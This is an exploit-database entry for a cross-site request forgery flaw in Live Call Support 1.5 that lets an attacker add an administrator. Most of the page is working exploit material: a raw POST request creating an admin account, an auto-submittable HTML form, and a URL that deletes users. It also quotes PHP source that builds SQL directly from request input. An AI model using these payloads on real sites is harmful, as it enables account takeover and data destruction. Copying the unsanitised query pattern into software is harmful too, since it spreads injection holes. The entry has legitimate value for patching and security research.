Live Call Support 1.5 - Cross-Site Request Forgery (Add Admin)

vendor:

Live Call Support

by:

Ihsan Sencan

8.8

CVSS

HIGH

Cross-Site Request Forgery

352

CWE

Product Name: Live Call Support

Affected Version From: 1.5

Affected Version To: 1.5

Patch Exists: NO

Related CWE: N/A

CPE: a:ranksol:live_call_support:1.5

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: WiN7_x64/KaLiLinuX_x64

2019

Live Call Support 1.5 – Cross-Site Request Forgery (Add Admin)

Live Call Support 1.5 is vulnerable to Cross-Site Request Forgery (CSRF) which allows an attacker to add an admin user to the application. This is due to the application not verifying whether a malicious request is being sent from a valid source. An attacker can craft a malicious request and send it to the vulnerable application, which will then add an admin user to the application.

Mitigation:

Implementing CSRF protection tokens, validating the origin of the request, and verifying user input can help mitigate this vulnerability.

Source

Exploit-DB raw data:

# Exploit Title: Live Call Support 1.5 - Cross-Site Request Forgery (Add Admin)
# Dork: N/A
# Date: 2019-01-13
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://ranksol.com/
# Software Link: https://codecanyon.net/item/live-call-support-widget-software-online-calling-web-application/22532799
# Version: 1.5
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://localhost/[PATH]/server.php
# 

#/[PATH]/server.php
#213 		case "save_user":{
#214 
#215 			if($_REQUEST['password']==$_REQUEST['confirm_password']){
#216 
#217 				if($_REQUEST['uid']==''){
#218 
#219 					$sql = "insert into users
#220 
#221 								(
#222 
#223 									name,
#224 
#225 									phone_number,
#226 
#227 									email,
#228 
#229 									password,
#230 
#231 									type
#232 
#233 								)
#234 
#235 							values
#236 
#237 								(
#238 
#239 									'".$_REQUEST['agent_name']."',
#240 
#241 									'".$_REQUEST['agent_number']."',
#242 
#243 									'".$_REQUEST['email_address']."',
#244 
#245 									'".$_REQUEST['password']."',
#246 
#247 									'".$_REQUEST['role']."'
#248 
#249 								)";
#250 
#251 				}else{
#252 
#253 					$sql = "update users set

POST /[PATH]/server.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------16460805410548
Content-Length: 879
Cookie: PHPSESSID=5fd1dbc1e4c6b5876e1f44dbc157af9f
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
-----------------------------16460805410548: undefined
Content-Disposition: form-data; name="agent_name"
efeefe
-----------------------------16460805410548
Content-Disposition: form-data; name="agent_number"
1234
-----------------------------16460805410548
Content-Disposition: form-data; name="email_address"
efe@omerefe.com
-----------------------------16460805410548
Content-Disposition: form-data; name="role"
1
-----------------------------16460805410548
Content-Disposition: form-data; name="password"
efeefe
-----------------------------16460805410548
Content-Disposition: form-data; name="confirm_password"
efeefe
-----------------------------16460805410548
Content-Disposition: form-data; name="uid"
-----------------------------16460805410548
Content-Disposition: form-data; name="cmd"
save_user
-----------------------------16460805410548--
HTTP/1.1 302 Found
Date: Sun, 13 Jan 2019 11:45:08 GMT
Server: Apache
X-Powered-By: PHP/7.1.25
Access-Control-Allow-Origin: *
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
location: users.php
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

# POC: 
# 2)
# http://localhost/[PATH]/server.php
# 

<html>
<body>

<form method="post" action="http://localhost/[PATH]/server.php" enctype="multipart/form-data">
	<div class="form-group">
		<label>Name</label>
		<input name="agent_name" value="" type="text">
	</div>
	<div class="form-group">
		<label>Phone Number</label>
		<input name="agent_number" value="" type="text">
	</div>
	<div class="form-group">
		<label>Email Address</label>
		<input name="email_address" value="" type="text">
	</div>
	<div class="form-group">
		<label>Role</label>
		<select name="role" class="form-control">
			<option value="2">Consultant</option>
			<option value="1">Admin</option>
		</select>
	</div>
	<div class="form-group">
		<label>Password</label>
		<input name="password" value="" type="text">
	</div>
	<div class="form-group">
		<label>Confirm Password</label>
		<input name="confirm_password" type="text">
	</div>
	<div class="form-group">
		<input name="uid" value="" type="hidden">
		<input name="cmd" value="save_user" type="hidden">
		<input value="Save" class="btn btn-primary" type="submit">
		<input value="Back" class="btn btn-default" onclick="history.go(-1)" type="button">
	</div>
</form>

</body>
</html>

# POC: 
# 3)
# http://localhost/[PATH]/server.php?cmd=delete_user&userID=[DELETE_ID]
# 

#/[PATH]/server.php
#191 		case "delete_user":{
#192 
#193 			$userID = $_REQUEST['userID'];
#194 
#195 			$res = mysqli_query($link,"delete from users where id='".$userID."'");
#196 
#197 			if($res){